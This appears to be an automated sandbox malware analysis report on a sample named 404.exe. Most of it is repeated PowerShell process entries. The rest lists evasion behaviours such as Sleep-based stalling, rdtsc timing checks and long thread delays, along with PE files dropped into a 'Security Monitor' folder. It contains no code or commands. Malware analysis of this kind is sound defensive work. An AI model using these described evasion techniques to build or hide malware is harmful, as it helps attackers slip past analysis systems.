Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Stalling execution: Execution stalls by calling Sleep

graph_60-37254

Source: C:\Users\user\Desktop\404.exe	Memory allocated: 24B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Memory allocated: 26B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Memory allocated: 46B0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 46_2_0337B8B0 rdtsc

46_2_0337B8B0

Source: C:\Users\user\Desktop\404.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Users\user\Desktop\404.exe	Window / User API: threadDelayed 3613	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Window / User API: threadDelayed 6183	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6617	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2493	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5021
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4814
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6922
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2677
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8289
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1167
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6208
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3534
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6276
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3424
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8138
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1464
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6268
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3424
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7435
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2099
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8035
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1548

Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-NE9RG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-SE2BH.tmp	Jump to dropped file
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{WCS1080F-FD66-4650-B1B8-C8310A1CE2D3}\ffws.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-T6149.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-5RI0Q.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-M06NF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-A237A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-T1Q7P.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\webbrowser.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-H0VIM.tmp	Jump to dropped file

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_60-37319

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

API coverage: 7.7 %

Source: C:\Users\user\Desktop\404.exe TID: 6600	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\404.exe TID: 4324	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1848	Thread sleep count: 6617 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6768	Thread sleep count: 2493 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6516	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6204	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8072	Thread sleep count: 5021 > 30
